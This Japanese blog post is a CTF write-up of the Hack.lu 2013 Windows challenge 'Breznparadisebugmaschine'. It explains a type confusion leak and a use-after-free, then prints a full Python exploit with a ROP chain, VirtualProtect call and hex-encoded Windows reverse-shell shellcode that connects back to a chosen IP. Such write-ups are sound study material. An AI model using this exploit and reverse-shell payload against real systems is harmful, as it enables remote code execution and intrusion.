Hack.lu CTF 2013 Breznparadisebugmaschine writeup

katagaitaiCTF勉強会#8 medに参加いたしまして、CTFの中では珍しい部類に入るWindowsPwnについて学習しました。

かなり濃い内容ではあったのですが、自分なりに理解できたポイントをWriteUpという形でまとめたいと思います。

 

・読むに当たっての前提

breznのバイナリを解析し、選択肢毎の挙動を把握している

ROPを理解している

 

・brezn攻略のポイント

1.fork-server型

breznはfork-server型のバイナリです。

バイナリを起動するとListen状態で接続を待ち構えます。

f:id:m00minpwn:20170311144303p:plain

APIMonitorを起動し、breznのPIDを確認します。

f:id:m00minpwn:20170311144401p:plain

 netstat -naoでPIDに紐づくポート番号を確認します。

f:id:m00minpwn:20170311145711p:plain

確認できたポート番号にncコマンドで接続することで処理が開始されます。

f:id:m00minpwn:20170311144447p:plain

 

2.TypeConfusion&BufferOverRead

breznには攻略に使用できる脆弱性が2つ存在します。

まず一つがTypeConfusion&BufferOverRead

[2]Info Foodを選択した場合は、スロット内に作成されているFoodから指定されたFoodの情報を表示します。

その際にユーザーから入力された情報を元に表示するFoodのタイプを決定して表示しています。

0x403F90(*1)のフード情報表示処理内の該当箇所を示します。

(*1)以降16進数のアドレス表記は断りがない場合IDAでバイナリを開いた場合のアドレスを指す物とします。

f:id:m00minpwn:20170311150953p:plain

この脆弱性を利用することでBrezelをInsertしたにも関わらずSemmelとして表示する。

といった様な操作が可能となります。

Foodはそれぞれサイズが異なるため挿入したFoodと異なるタイプを指定する事でBufferOverReadを発生させ、アドレスリークを発生させる事が出来そうです。

 

3.UseAfterFree

2つ目の脆弱性としてUseAfterFreeが存在します。

該当箇所はロボット処理関数(0x401820)内のFoodの削除処理部分です。

f:id:m00minpwn:20170311164916p:plain

f:id:m00minpwn:20170311165348p:plain

上記画像の通り、FoodをFreeした後に、deleteする処理が存在しません。

このため、Free済のエリアへアクセス可能なポインタがVector内に残存している状態となっています。

 

3.攻撃手順

以上のポイントを元に攻撃手順を考えます。

3-1.TypeConfusion&BufferOverReadを利用してアドレスリークを行う

まずはInfo Food内に存在するTypeConfusion&BufferOverReadを利用して、アドレスリークを行う事を考えます。

注意しなければならないポイントとしては、効率よくアドレスリークを行うためFree領域をダミーに確保させアドレスリークに用いるFood領域は隣接した領域に配置される様にします。

アドレスリークに用いるFoodはSemmelとLaugenstangerlを使いましょう。

f:id:m00minpwn:20170311183115p:plain

f:id:m00minpwn:20170311183128p:plain

 Laugenstangerlはvtableのポインタ、Semmelはheapのアドレスが保存されています。

LaugenstangerlとSemmelを隣接した領域に配置し、先述したBufferOverReadを利用してvtableのポインタ、heapアドレス二つのアドレスをリークする事を考えます。

f:id:m00minpwn:20170311185153p:plain

3-2.共有状態の作成

アドレスリークに成功した後はeipを奪取し、制御を奪う事を考えます。

ロボットにFoodを削除させる事でUseAfterFreeが発生する事、二つ以上のFoodを挿入しFreeする事で領域の結合が発生する事を利用します。

結合した領域に対しEditFoodでの書き換えを行う事を目的としています。

EditFoodは800バイトの受信を行なっているため、共有領域は800バイト以上のサイズでなければなりません。

また、この攻撃を行うに当たってロボットが別プロセスで5秒毎に動作するという処理を利用しなければなりません。

f:id:m00minpwn:20170311190836p:plain

f:id:m00minpwn:20170311190851p:plain

この処理を見逃してしまうとbreznを解く事は出来ませんので重要なポイントです。

 共有状態の作成についてイメージ図を示します。

f:id:m00minpwn:20170311194441p:plain

f:id:m00minpwn:20170311194454p:plain

f:id:m00minpwn:20170311194509p:plain

f:id:m00minpwn:20170311194521p:plain

3-3.シェルコード実行

ここまで準備が整えば書き込み可能となった領域にシェルコードを配置し、制御を奪う準備が整いました。

StackPivotでheapを参照しているアドレスをespに移し替える事でheapをStackと見なして任意の処理を実行させる事を忘れずに組み込みます。

 heapを参照しているアドレスは0x401160(オーブン処理関数内)に存在します。

f:id:m00minpwn:20170311200316p:plain

最後に、idataをチェックし、シェル起動に有用な関数を探します。

f:id:m00minpwn:20170311201133p:plain

 最終的なheapのレイアウトは以下の通り

f:id:m00minpwn:20170311205627p:plain

exploitは以下の通り

#!/usr/bin/python

# -*- coding: utf-8 -*-
import struct, socket, sys, os
import time, telnetlib, hexdump

def sock(host, port):
s = socket.create_connection*1
return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.readline()
return data

def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()

def p(a):
return struct.pack("<I",a&0xffffffff)

def u(a):
return struct.unpack("<I",a)[0]

def countdown(n):
for i in xrange(n,0,-1):
print str(i) + "..",
sys.stdout.flush()
time.sleep(1)
print

def dbg(ss):
print "[+] %s: 0x%x"%(ss, eval(ss))

if len(sys.argv) >= 2:
if sys.argv[1] == 'r':
print "[+] connect remote!"
HOST, PORT = "ctf.fluxfingers.net", 1340
else:
HOST, PORT = "localhost", 27015

def getip():
return "127.0.0.1"

# windows/x86/shell_reverse_tcp
LIP, LPORT = getip(), 80
sc = "fce889000000608bec33d2648b52308b520c8b52148b72280fb74a2633ff33c0ac3c617c022c20c1".decode("hex")
sc += "cf0d03f8e2f052578b52108b423c03c28b407885c0744a03c2508b48188b582003dae33c498b348b".decode("hex")
sc += "03f233ff33c0acc1cf0d03f83ac475f4037df83b7d2475e2588b582403da668b0c4b8b581c03da8b".decode("hex")
sc += "048b03c2894424245b5b61595a51ffe0585f5a8b12eb865d6833320000687773325f54684c772607".decode("hex")
sc += "ffd5b8900100002be054506829806b00ffd5505050504050405068ea0fdfe0ffd58bf868".decode("hex")
sc += socket.inet_aton(LIP) + "680200".decode("hex") + struct.pack(">H", LPORT)
sc += "8bf46a1056576899a57461ffd568636d64008bdc57575733f66a125956e2fd66c744243c01018d44".decode("hex")
sc += "2410c60044545056565646564e565653566879cc3f86ffd58bc44e5646ff306808871d60ffd5bbf0".decode("hex")
sc += "b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5".decode("hex")

################################
B, L, S = 0, 1, 2
ON, OFF = 0, 1

def menu(r=""):
r += read_until(f, "[8] Quit\n\n")
return r

def insert(type, time, slot, string):
print "INSERT %d" % slot
f.write("0\n")
r = read_until(f, "[2] Semmel\n\n")
f.write("%d\n" % type)
r += read_until(f, ": \n\n")
f.write("%d\n" % time)
r += read_until(f, ": \n\n")
f.write("%d\n" % slot)
r += read_until(f, ": \n\n")
f.write("%s\n" % string)
return menu(r)

def remove(slot):
print "REMOVE %d" % slot
f.write("1\n")
r = read_until(f, ":\n\n")
f.write("%d\n" % slot)
return menu(r)

def info(slot, type):
print "INFO %d" % slot
f.write("2\n")
r = read_until(f, ":\n\n")
f.write("%d\n" % slot)
r += read_until(f, "[2] Semmel\n\n")
f.write("%d\n" % type)
return menu(r)

def edit(slot, string):
print "EDIT %d" % slot
f.write("3\n")
r = read_until(f, ":\n\n")
f.write("%d\n" % slot)
r += read_until(f, ":\n\n")
f.write("%s\n" % string)
return menu(r)

def robot(onoff):
if onoff == ON:
print "ROBOT ON"
elif onoff == OFF:
print "ROBOT OFF"
f.write("4\n")
r = read_until(f, "\n\n")
f.write("%d\n" % onoff)
return menu(r)

def oven(onoff):
if onoff == ON:
print "OVEN ON"
f.write("5\n")
elif onoff == OFF:
print "OVEN OFF"
f.write("6\n")
return menu()

################################
s, f = sock(HOST, PORT)
if len(sys.argv) < 2:
raw_input("attach?")
menu()

# leak
#dummyを挿入することでfree領域を消費させる
insert(type=S, time=30, slot=0, string="DUMMY")
insert(type=S, time=30, slot=1, string="LEAK1")
insert(type=L, time=30, slot=2, string="LEAK2")
r = info(slot=1, type=L)

#各種減算しているオフセットはx64dbgで確認する
heap = u(r[0x297:0x297+4])
#heap_base = heap - 0x3860
heap_base = heap - 0x38a8 #ローカルであってもオフセットが変わることがあるため、exploit起動の度にheap_baseのアドレス下位4桁が0となっていることを確認する

#リモートに送信する場合はheapアドレスのズレが発生するため下記修正が必要
if heap_base & 0xfff:
heap_base += 0x1000 - (heap_base & 0xfff)

vtable = u(r[0x2A7:0x2A7+4]) #vtableをリークすることでbin_baseと求めることが可能
bin_base = vtable - 0x10F70
dbg("heap")
dbg("heap_base")
dbg("vtable")
dbg("bin_base")

# overwrite
insert(type=B, time=30, slot=3, string="FOOD_A")
insert(type=B, time=3, slot=4, string="VICTIM")
oven(ON)
countdown(3*5) # FOOD_A/VICTIM are baked by oven
oven(OFF)
robot(ON)
countdown(1*5) # VICTIM is freed by robot
robot(OFF)

#このremoveで800バイト以上の書き込み可能領域を作成
remove(slot=3) # FOOD_A is freed
"""
0x00401b24: xchg eax, ebp ; mov esp, ebp ; pop ebp ; retn 0x000C ; (1 found) #heapをstackと見なすstackpivot(これはrp++で探す)
0x0040104b: ret ; (470 found) #ropに必要な各種処理もrp++で探す
0x0040c877: pop eax ; ret ; (1 found)
0x004076b9: jmp dword [eax] ; (4 found)

#idataはlinuxでいうGOTアドレスの様な物
.idata:0040E008 ; BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
"""

#以下作成した書き込み可能領域からシェルコードを起動するための処理
food_a = "AAAA"*2 # padding (edit_bufferのfree時にflink/blinkで上書きされるため使えない)
food_a += p(bin_base+0x1b24) # stack pivot
food_a += p(bin_base+0x104b) # ret2ret (調整用)
food_a += "AAAA"*3 # padding (pivotのガジェットに有るretn 0x000Cを消費させる)
food_a += p(bin_base+0xc877) # pop eax
food_a += p(bin_base+0xE008) # VirtualProtect@.idata
food_a += p(bin_base+0x76b9) # jmp [eax]
food_a += p(heap+0x67c) # return addr: shellcode
food_a += p(heap_base) # arg1: lpAddress (ヒープの開始を指定)
food_a += p(0x5000) # arg2: dwSize (ヒープ全体のサイズを指定)
food_a += p(0x40) # arg3: flNewProtect (PAGE_EXECUTE_READWRITE)
food_a += p(heap_base) # arg4: lpflOldProtect (書き込み可能ならどこでも良い)
food_a += sc # shellcode
food_a = food_a.ljust(0x230) # padding
victim = p(heap+0x648) # vtable pointer (stack_pivotを指している)
victim = victim.ljust(0x400) # padding
edit(slot=2, string=food_a+victim)

# trigger
oven(ON)

shell(s)
Add Comment Collapse

 

このexploitを実行するとシェルが起動します

(筆者がコネクトバック環境を持ち合わせていないので、ローカルでシェル起動確認)

f:id:m00minpwn:20170311213658p:plain

 

以上がbreznのwriteupとなります。

かなり学習要素の多い問題で、個人的には学びが多い問題だなと感じました。

Windows問ですので、本番CTFに直結する可能性は低いのですが食わず嫌いをせずに解いてみる事をオススメいたします。

また、katagaitaiのbataさんが素晴らしい資料を作成されています、リンクを掲載いたしますので是非目を通してみてください。

(このWriteupの1000倍くらい情報が載っています())

 

参考資料:

katagaitai CTF勉強会 #8 pwnables編 - Hack.lu CTF 2013 Exploiting 500 Breznparadisebugmaschine / katagaitai CTF #8 // Speaker Deck

 

 

*1:host, port